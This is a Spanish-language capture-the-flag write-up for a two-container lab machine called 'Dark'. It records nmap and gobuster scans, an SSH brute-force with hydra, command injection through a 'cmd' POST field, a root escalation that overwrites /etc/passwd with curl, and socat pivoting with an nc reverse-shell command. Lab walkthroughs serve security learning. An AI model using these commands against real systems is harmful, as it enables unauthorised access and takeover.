> For the complete documentation index, see [llms.txt](https://hacking-3.gitbook.io/barre/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-3.gitbook.io/barre/write-up/dockerlabs/medio/dark.md).

# Dark

## Maquina

<figure><img src="/files/EXTD2IEIklAEFvHWhQwy" alt=""><figcaption></figcaption></figure>

### Explicación

Esta maquina consta de 2 contenedores, dark1 será nuestra maquina que actúa como puente hacia darck2

<figure><img src="/files/8Dalf5AlITVm6QwzKGY7" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/mpGMvM9E3tWrbW68OboR" alt=""><figcaption></figcaption></figure>

## Reconocimiento

### Nmap

```bash
sudo nmap -p- --open -sSCV --min-rate 5000 -vvv -Pn 10.10.10.2 -oN nmap.txt
```

```
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 3f:52:53:45:8b:99:34:47:19:12:64:d1:f4:d4:23:b9 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBHTBVuv/Xo03Uv6uymsJx/7pR9N/8bRSUGA//NdWiesrpMisT3E9psw7hQqYVdGGJRw55a6X78OWh9y1nRqYXYM=
|   256 c5:04:3d:16:6b:71:f6:a0:74:92:74:9c:a3:7a:80:57 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDbNtDN24HXlbFV+XBmLInhca+cu/2cJvEOAw4LOSDKM
80/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.59 ((Debian))
|_http-server-header: Apache/2.4.59 (Debian)
| http-methods: 
|_  Supported Methods: HEAD GET POST OPTIONS
|_http-title: darkweb
MAC Address: 02:42:0A:0A:0A:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel// Some code
```

### Gobuster

{% code overflow="wrap" %}

```bash
sudo gobuster dir -u 10.10.10.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,js,txt,zip,rar,tar,gz,css,xml,json,rb,py,jpg,jpeg,png,gif,svg,ico,pdf,sql,log,ini,conf,config,backup,sh,bash | tee gobusterExt.txt
```

{% endcode %}

```
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.2
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              xml,jpg,png,gif,conf,php,log,backup,txt,zip,py,jpeg,svg,pdf,sh,json,ico,sql,ini,gz,css,config,bash,html,js,rar,tar,rb
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 275]
/index.html           (Status: 200) [Size: 318]
/.html                (Status: 403) [Size: 275]
/info                 (Status: 200) [Size: 128]
/process.php          (Status: 500) [Size: 0]
/.html                (Status: 403) [Size: 275]
/.php                 (Status: 403) [Size: 275]
/server-status        (Status: 403) [Size: 275]
Progress: 6396240 / 6396269 (100.00%)
===============================================================
Finished
===============================================================
```

### Web

<figure><img src="/files/xMXOg6M6N2rvvcXHqYEb" alt=""><figcaption></figcaption></figure>

Una pagina para enviar una url, si ponemos una url y le damos a enviar no lleva al archivo `process.php`, el cual esta vacío, pero tenemos un directorio más `/info`

<figure><img src="/files/DlbYou3hfE7DISU83zu8" alt=""><figcaption></figcaption></figure>

De aquí sacamos el posible usuario **Toni**

## Explotacion

&#x20;Podemos probar a hacer un ataque de fuerza bruta con hydra sabiendo el usuario **Toni**

```bash
hydra -l toni -P /usr/share/wordlists/rockyou.txt 10.10.10.2 ssh -t 64
```

<figure><img src="/files/QMJrienjzNhTECCIOjxv" alt=""><figcaption></figcaption></figure>

Ahora nos conectamos por ssh

<figure><img src="/files/OhbIyrCWgWnonB7iP34y" alt=""><figcaption></figcaption></figure>

Miramos permisos de este usuario

<figure><img src="/files/WslAV5QWUUWvdzFDlxWH" alt=""><figcaption></figcaption></figure>

Miramos que es lo que tiene

<figure><img src="/files/VRVpgZDL7qCJewEu80M3" alt=""><figcaption></figcaption></figure>

Lo único a destacar es este archivo `md` que básicamente nos dice que disponemos del comando `curl`, por lo que si recordamos, hay otra maquina a la que podemos acceder, la cual hemos visto en el archivo `info` de antes que es una *web ilegal*, por lo que podemos **hacer `curl` a esa ip**

<figure><img src="/files/UN4LGd3t0PbfeFMDGlTD" alt=""><figcaption></figcaption></figure>

Aquí podemos ver el código de la web, hay un campo que se llama `cmd` por lo que se me ocurre que podemos probar a hacer una **petición** con `curl` usando el método `POST` a la dirección `http://20.20.20.3/process.php` con un *comando de cmd* en este mismo campo

<figure><img src="/files/vQx5vqub4RRW9XBcaxXL" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/vhTLjQJqobXiF53dHlvo" alt=""><figcaption></figcaption></figure>

Funciona, por lo que hemos comprobado que **podemos ejecutar código**

## 1º Forma - Escalado de privilegios

{% hint style="info" %}
Esta es la manera que se me ha ocurrido a mi en el momento de hacer la maquina
{% endhint %}

Voy a intentar hacer una **reverse shell a la maquina dark1** usando este método.

<figure><img src="/files/fDCUl4T7tqAhNxS20Lul" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/7JHRAhvdGesPKHPVvFuv" alt=""><figcaption></figcaption></figure>

Ahora mismo somos el usuario `www-data`, por lo que vamos a mirar sus permisos

<figure><img src="/files/3yafF95qvdqQKQdgjzK8" alt=""><figcaption></figcaption></figure>

Hay un permiso que me llama la atención, `curl`, si miramos en [GTFOBins](https://gtfobins.github.io/gtfobins/curl/) vemos que hay una forma de **escribir en un archivo** con curl, por lo que podemos editar el fichero `/etc/passwd`

Movemos el fichero `/etc/passwd` a `/tmp` para poder editarlo

<figure><img src="/files/8kpYziGMpSfnxLvuTueV" alt=""><figcaption></figcaption></figure>

Una vez lo tenemos editado ponemos el comando que ponía en [GTFOBins](https://gtfobins.github.io/gtfobins/curl/)

```bash
curl file:///tmp/passwd -o /etc/passwd
```

<figure><img src="/files/NryALriyPqyEQFnD76IA" alt=""><figcaption></figcaption></figure>

De esta forma le habremos quitado la contraseña a root y podremos convertirnos en root

<figure><img src="/files/7E9CCDGqyNHLhH5luhpY" alt=""><figcaption></figcaption></figure>

## 2º Forma - Pivoting

Usaremos la herramienta de [socat ](/barre/apuntes/red-team/tools/socat.md)para mandarnos una reverse shell desde la maquina dark2 a nuestra maquina usando la maquina dark1 como puente

{% hint style="info" %}
Socat es una herramienta que permite conectar y retransmitir flujos de datos entre diferentes tipos de conexiones o «sockets».
{% endhint %}

1º Nos pasamos la herramienta a la máquina dark1&#x20;

<figure><img src="/files/t5EqMaltMeO1gFWcfXty" alt=""><figcaption></figcaption></figure>

2º Configuramos socat para que escuche por el puerto 3333 y nos mande lo que le llegue por ese puerto a nosotros por el puerto 2222

```bash
./socat TCP-LISTEN:3333,reuseaddr,fork TCP:10.10.10.1:2222
```

3º Nos ponemos a la escucha desde nuestra maquina

```bash
nc -lvnp 2222
```

4º Nos mandamos una reverse shell a la maquina dark1 desde la maquina dark2

```bash
curl -X POST -d 'cmd=nc 20.20.20.2 3333 -e /bin/bash' http://20.20.20.3/process.php
```

<figure><img src="/files/nttLfiley1gSs84rBSFw" alt=""><figcaption></figcaption></figure>

El escalado de privilegios es el mismo que en la [1º Forma](#id-1o-forma-escalado-de-privilegios)

## Conclusión&#x20;

Muy buena maquina, muy completa y entretenida, recomendad para gente que no haya hecho mucho pivoting
